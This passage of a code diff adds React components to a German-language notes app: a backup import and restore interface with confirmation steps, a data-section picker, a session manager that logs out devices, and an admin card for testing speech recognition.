<p className="font-semibold text-main flex items-center gap-1.5">
|
||||||
|
{result ? <Check className="w-3.5 h-3.5 text-status-ok" /> : <FileArchive className="w-3.5 h-3.5 text-accent" />}
|
||||||
|
<span>{result ? 'Import abgeschlossen' : `Vorschau: ${file?.name}`}</span>
|
||||||
|
</p>
|
||||||
|
<p className="text-muted">
|
||||||
|
{result ? 'Angelegt: ' : 'Wird angelegt: '}
|
||||||
|
{summaryParts(shown).join(', ') || 'nichts'}.
|
||||||
|
</p>
|
||||||
|
{shown.skipped.length > 0 && (
|
||||||
|
<details className="text-[11px] text-muted">
|
||||||
|
<summary className="cursor-pointer">{shown.skipped.length} übersprungen</summary>
|
||||||
|
<ul className="mt-1 space-y-0.5 max-h-40 overflow-y-auto">
|
||||||
|
{shown.skipped.map((s, i) => (
|
||||||
|
<li key={i}>
|
||||||
|
<span className="font-mono text-main">{s.path}</span> – {s.reason}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</details>
|
||||||
|
)}
|
||||||
|
{!result && restoring && (
|
||||||
|
<label className="flex items-start gap-2 p-2.5 rounded-card border border-status-err/40 bg-status-err/10 text-[11px] text-main cursor-pointer">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
checked={confirmRestore}
|
||||||
|
onChange={(e) => setConfirmRestore(e.target.checked)}
|
||||||
|
className="mt-0.5 w-4 h-4 shrink-0"
|
||||||
|
/>
|
||||||
|
<span>
|
||||||
|
<strong className="text-status-err">Achtung:</strong> Deine bisherigen Daten in den gewählten Bereichen
|
||||||
|
({DATA_SECTIONS.filter((x) => sections.includes(x.id)).map((x) => x.label).join(', ')}) werden vor dem Import
|
||||||
|
unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
|
||||||
|
bleiben erhalten.
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
)}
|
||||||
|
{!result && (
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2 pt-1">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={runImport}
|
||||||
|
disabled={restoring && !confirmRestore}
|
||||||
|
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${restoring ? 'btn-action border-status-err text-status-err' : 'btn-primary'}`}
|
||||||
|
>
|
||||||
|
{restoring ? 'Löschen und wiederherstellen' : 'Jetzt importieren'}
|
||||||
|
</button>
|
||||||
|
<button type="button" onClick={reset} className="btn-action h-11 sm:h-8 px-3 text-xs">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { DATA_SECTIONS, DataSection } from '../../lib/types';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
|
||||||
|
interface SectionPickerProps {
|
||||||
|
value: DataSection[];
|
||||||
|
onChange: (sections: DataSection[]) => void;
|
||||||
|
label?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Which parts of the own data a restore or import covers; one switch per section, at least one stays on
|
||||||
|
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
|
||||||
|
<div role="group" aria-label={label}>
|
||||||
|
<p className="text-[11px] text-muted mb-1.5">{label}</p>
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-x-6 gap-y-1 border border-border rounded-card px-3 py-1.5 bg-panel">
|
||||||
|
{DATA_SECTIONS.map((sec) => {
|
||||||
|
const on = value.includes(sec.id);
|
||||||
|
return (
|
||||||
|
<div key={sec.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
|
||||||
|
<span className="text-xs text-main">{sec.label}</span>
|
||||||
|
<ToggleSwitch
|
||||||
|
checked={on}
|
||||||
|
title={sec.label}
|
||||||
|
onChange={() => {
|
||||||
|
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
|
||||||
|
if (next.length > 0) onChange(next);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { Archive, Check, Download, RotateCcw } from 'lucide-react';
|
||||||
|
import { BackupFile, DataSection, DATA_SECTIONS, ImportSummary } from '../../lib/types';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { formatBytes, saveBlob } from '../../lib/download';
|
||||||
|
import { SectionPicker } from './SectionPicker';
|
||||||
|
|
||||||
|
// The user's own automatic backups on the server: download or restore (all or some sections)
|
||||||
|
export const ServerBackupsCard: React.FC = () => {
|
||||||
|
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||||
|
const [open, setOpen] = useState<string | null>(null); // backup being restored
|
||||||
|
const [mode, setMode] = useState<'merge' | 'restore'>('restore');
|
||||||
|
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||||
|
const [confirm, setConfirm] = useState(false);
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [result, setResult] = useState<ImportSummary | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api.listMyBackups().then(setFiles).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const startRestore = (name: string) => {
|
||||||
|
setOpen(open === name ? null : name);
|
||||||
|
setConfirm(false);
|
||||||
|
setError(null);
|
||||||
|
setResult(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
const restore = async () => {
|
||||||
|
if (!open) return;
|
||||||
|
setBusy(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setResult(await api.restoreMyBackup(open, mode, sections));
|
||||||
|
setConfirm(false);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Wiederherstellen fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const sectionNames = DATA_SECTIONS.filter((s) => sections.includes(s.id))
|
||||||
|
.map((s) => s.label)
|
||||||
|
.join(', ');
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-2">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-bold text-main flex items-center gap-1.5">
|
||||||
|
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Server-Backups
|
||||||
|
</h3>
|
||||||
|
<p className="text-muted text-[11px] mt-0.5">
|
||||||
|
Automatische tägliche Sicherungen deiner Daten auf dem Server (falls die Administration sie eingeschaltet hat).
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="border border-border divide-y divide-border bg-canvas">
|
||||||
|
{files.length === 0 ? (
|
||||||
|
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||||
|
) : (
|
||||||
|
files.map((f) => (
|
||||||
|
<div key={f.name} className="p-3 space-y-2">
|
||||||
|
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-semibold text-main">{new Date(f.createdAt).toLocaleString('de-DE')}</p>
|
||||||
|
<p className="text-[11px] text-faint">{formatBytes(f.size)}</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={async () => saveBlob(await api.downloadMyBackup(f.name), f.name)}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<Download className="w-3.5 h-3.5" />
|
||||||
|
Download
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => startRestore(f.name)}
|
||||||
|
aria-expanded={open === f.name}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<RotateCcw className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Wiederherstellen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{open === f.name && (
|
||||||
|
<div className="p-3 rounded-card border border-border bg-panel space-y-2.5">
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Art der Wiederherstellung">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['restore', 'Ersetzen', 'Gewählte Bereiche vorher leeren.'],
|
||||||
|
['merge', 'Hinzufügen', 'Bestehendes behalten, Backup daneben anlegen.'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label, text]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={mode === value}
|
||||||
|
onClick={() => {
|
||||||
|
setMode(value);
|
||||||
|
setConfirm(false);
|
||||||
|
}}
|
||||||
|
className={`p-2 min-h-[44px] text-left border rounded-card transition-colors ${
|
||||||
|
mode === value ? (value === 'restore' ? 'border-status-err bg-status-err/10' : 'border-accent bg-accent/10') : 'border-border'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="block text-xs font-semibold text-main">{label}</span>
|
||||||
|
<span className="block text-[11px] text-muted">{text}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<SectionPicker value={sections} onChange={setSections} />
|
||||||
|
{result ? (
|
||||||
|
<p className="text-[11px] text-status-ok flex items-center gap-1">
|
||||||
|
<Check className="w-3.5 h-3.5" /> Wiederhergestellt: {result.notes} Notizen, {result.tasks} Aufgaben, {result.lists} Listen,{' '}
|
||||||
|
{result.inbox} Gedanken, {result.themes ?? 0} Themes.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busy}
|
||||||
|
onClick={() => (mode === 'restore' && !confirm ? setConfirm(true) : restore())}
|
||||||
|
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${
|
||||||
|
mode === 'restore' ? 'btn-action border-status-err text-status-err' : 'btn-primary'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{busy
|
||||||
|
? 'Stelle wieder her…'
|
||||||
|
: mode === 'restore' && confirm
|
||||||
|
? `Wirklich ${sectionNames} ersetzen?`
|
||||||
|
: mode === 'restore'
|
||||||
|
? 'Ersetzen'
|
||||||
|
: 'Hinzufügen'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
{error && <p className="text-[11px] text-status-err">{error}</p>}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
import { useEffect, useState } from 'react';
|
||||||
|
import { LogOut, Monitor, Smartphone } from 'lucide-react';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { Session } from '../../lib/types';
|
||||||
|
|
||||||
|
// Rough device label from the user agent; good enough to tell one's own devices apart
|
||||||
|
export function describeDevice(ua: string): { label: string; mobile: boolean } {
|
||||||
|
if (!ua) return { label: 'Unbekanntes Gerät', mobile: false };
|
||||||
|
if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false };
|
||||||
|
const mobile = /Android|iPhone|iPad|Mobile/i.test(ua);
|
||||||
|
const browser = /Edg\//.test(ua)
|
||||||
|
? 'Edge'
|
||||||
|
: /Firefox\//.test(ua)
|
||||||
|
? 'Firefox'
|
||||||
|
: /Chrome\//.test(ua)
|
||||||
|
? 'Chrome'
|
||||||
|
: /Safari\//.test(ua)
|
||||||
|
? 'Safari'
|
||||||
|
: 'Browser';
|
||||||
|
const os = /Android/.test(ua)
|
||||||
|
? 'Android'
|
||||||
|
: /iPhone|iPad/.test(ua)
|
||||||
|
? 'iOS'
|
||||||
|
: /Windows/.test(ua)
|
||||||
|
? 'Windows'
|
||||||
|
: /Mac OS X/.test(ua)
|
||||||
|
? 'macOS'
|
||||||
|
: /Linux/.test(ua)
|
||||||
|
? 'Linux'
|
||||||
|
: '';
|
||||||
|
return { label: os ? `${browser} auf ${os}` : browser, mobile };
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatLastUsed(iso: string): string {
|
||||||
|
const d = new Date(iso);
|
||||||
|
if (isNaN(d.getTime())) return '';
|
||||||
|
const minutes = Math.round((Date.now() - d.getTime()) / 60000);
|
||||||
|
if (minutes < 10) return 'gerade aktiv';
|
||||||
|
return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function SessionsPanel() {
|
||||||
|
const [sessions, setSessions] = useState<Session[] | null>(null);
|
||||||
|
const [error, setError] = useState('');
|
||||||
|
const [ending, setEnding] = useState('');
|
||||||
|
|
||||||
|
const load = async () => {
|
||||||
|
try {
|
||||||
|
const list = await api.listSessions();
|
||||||
|
setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]);
|
||||||
|
setError('');
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Sitzungen konnten nicht geladen werden');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
void load();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const endSession = async (id: string) => {
|
||||||
|
setEnding(id);
|
||||||
|
try {
|
||||||
|
await api.endSession(id);
|
||||||
|
setSessions((prev) => (prev || []).filter((s) => s.id !== id));
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Sitzung konnte nicht beendet werden');
|
||||||
|
} finally {
|
||||||
|
setEnding('');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (error) return <p className="text-[11px] text-status-err">{error}</p>;
|
||||||
|
if (!sessions) return <p className="text-[11px] text-muted">Lade Sitzungen…</p>;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<ul className="divide-y divide-border rounded-card border border-border bg-canvas">
|
||||||
|
{sessions.map((s) => {
|
||||||
|
const device = describeDevice(s.userAgent);
|
||||||
|
const Icon = device.mobile ? Smartphone : Monitor;
|
||||||
|
return (
|
||||||
|
<li key={s.id} className="flex items-center gap-3 p-3 text-xs">
|
||||||
|
<Icon size={16} className="text-muted shrink-0" />
|
||||||
|
<div className="min-w-0 flex-1">
|
||||||
|
<p className="font-semibold text-main truncate">
|
||||||
|
{device.label}
|
||||||
|
{s.current && <span className="ml-2 text-[10px] font-semibold text-accent">Dieses Gerät</span>}
|
||||||
|
</p>
|
||||||
|
<p className="text-[11px] text-faint truncate">
|
||||||
|
{[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{!s.current && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => endSession(s.id)}
|
||||||
|
disabled={ending === s.id}
|
||||||
|
title="Dieses Gerät abmelden"
|
||||||
|
className="btn-secondary min-h-[44px] sm:min-h-0 h-8 px-3 text-xs shrink-0 flex items-center gap-1.5 cursor-pointer"
|
||||||
|
>
|
||||||
|
<LogOut size={13} />
|
||||||
|
<span>{ending === s.id ? 'Melde ab…' : 'Abmelden'}</span>
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</ul>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
import React, { useEffect, useRef, useState } from 'react';
|
||||||
|
import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { VoiceAdminStatus } from '../../lib/types';
|
||||||
|
|
||||||
|
const TEST_SECONDS = 6;
|
||||||
|
|
||||||
|
// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
|
||||||
|
// just shows the state and offers a short test recording through the own Whisper server.
|
||||||
|
export const VoiceStatusCard: React.FC = () => {
|
||||||
|
const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [recording, setRecording] = useState(false);
|
||||||
|
const [testing, setTesting] = useState(false);
|
||||||
|
const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
|
||||||
|
const recorderRef = useRef<MediaRecorder | null>(null);
|
||||||
|
const stopTimerRef = useRef<number | null>(null);
|
||||||
|
|
||||||
|
const load = async () => {
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
setInfo(await api.adminVoiceStatus());
|
||||||
|
setError(null);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Status konnte nicht geladen werden');
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
void load();
|
||||||
|
return () => {
|
||||||
|
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
|
||||||
|
recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const stopRecording = () => {
|
||||||
|
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
|
||||||
|
stopTimerRef.current = null;
|
||||||
|
if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
|
||||||
|
};
|
||||||
|
|
||||||
|
const startTest = async () => {
|
||||||
|
setResult(null);
|
||||||
|
setError(null);
|
||||||
|
let stream: MediaStream;
|
||||||
|
try {
|
||||||
|
stream = await navigator.mediaDevices.getUserMedia({ audio: true });
|
||||||
|
} catch {
|
||||||
|
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const recorder = new MediaRecorder(stream);
|
||||||
|
const chunks: Blob[] = [];
|
||||||
|
recorder.ondataavailable = (e) => {
|
||||||
|
if (e.data.size > 0) chunks.push(e.data);
|
||||||
|
};
|
||||||
|
recorder.onstop = async () => {
|
||||||
|
stream.getTracks().forEach((t) => t.stop());
|
||||||
|
setRecording(false);
|
||||||
|
setTesting(true);
|
||||||
|
const started = performance.now();
|
||||||
|
try {
|
||||||
|
const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
|
||||||
|
setResult({ text, ms: Math.round(performance.now() - started) });
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Spracherkennung fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setTesting(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
recorderRef.current = recorder;
|
||||||
|
recorder.start();
|
||||||
|
setRecording(true);
|
||||||
|
stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
|
||||||
|
};
|
||||||
|
|
||||||
|
const status = info?.status;
|
||||||
|
const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||||
|
<div className="flex items-start justify-between gap-3">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-bold text-main flex items-center gap-1.5">
|
||||||
|
<Mic className="w-4 h-4 text-accent" />
|
||||||
|
Spracherkennung
|
||||||
|
</h3>
|
||||||
|
<p className="text-muted mt-0.5">
|
||||||
|
Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
|
||||||
|
<code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={load}
|
||||||
|
disabled={loading}
|
||||||
|
title="Status neu prüfen"
|
||||||
|
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
|
||||||
|
>
|
||||||
|
<RefreshCw className="w-3.5 h-3.5" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{info && (
|
||||||
|
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
|
||||||
|
<dt className="text-muted">Aktiv</dt>
|
||||||
|
<dd className="text-main font-semibold">
|
||||||
|
{info.mode === 'server'
|
||||||
|
? 'Eigener Server (Whisper)'
|
||||||
|
: info.mode === 'off'
|
||||||
|
? 'Ausgeschaltet'
|
||||||
|
: info.demo && info.url
|
||||||
|
? 'Browser (in der Demo immer)'
|
||||||
|
: 'Browser (Spracherkennung des Browsers)'}
|
||||||
|
</dd>
|
||||||
|
{info.url && (
|
||||||
|
<>
|
||||||
|
<dt className="text-muted">Server</dt>
|
||||||
|
<dd className="text-main font-mono break-all">{info.url}</dd>
|
||||||
|
<dt className="text-muted">Modell</dt>
|
||||||
|
<dd className="text-main font-mono break-all">{info.model}</dd>
|
||||||
|
<dt className="text-muted">Sprache</dt>
|
||||||
|
<dd className="text-main">{info.language || 'automatisch'}</dd>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
{info.mode === 'server' && (
|
||||||
|
<>
|
||||||
|
<dt className="text-muted">Zustand</dt>
|
||||||
|
<dd className="flex items-center gap-1.5">
|
||||||
|
{serverOk ? (
|
||||||
|
<span className="text-status-ok flex items-center gap-1">
|
||||||
|
<Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
|
||||||
|
</span>
|
||||||
|
) : (
|
||||||
|
<span className="text-status-err flex items-center gap-1">
|
||||||
|
<AlertCircle className="w-3.5 h-3.5" />
|
||||||
|
{status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
|
||||||
|
{status?.error && !status.reachable ? `: ${status.error}` : ''}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</dd>
|
||||||
|
<dt className="text-muted">Grenzen</dt>
|
||||||
|
<dd className="text-main">
|
||||||
|
{Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
|
||||||
|
gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
|
||||||
|
</dd>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</dl>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{info?.mode === 'server' && (
|
||||||
|
<div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
|
||||||
|
{recording ? (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={stopRecording}
|
||||||
|
className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
|
||||||
|
>
|
||||||
|
<Square className="w-3.5 h-3.5" /> Aufnahme beenden
|
||||||
|
</button>
|
||||||
|
) : (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={startTest}
|
||||||
|
disabled={testing}
|
||||||
|
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
|
||||||
|
>
|
||||||
|
{testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
|
||||||
|
{testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
{recording && <span className="text-muted">Sprich jetzt …</span>}
|
||||||
|
{result && (
|
||||||
|
<span className="text-main">
|
||||||
|
„{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{error && <p className="text-status-err text-xs">{error}</p>}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||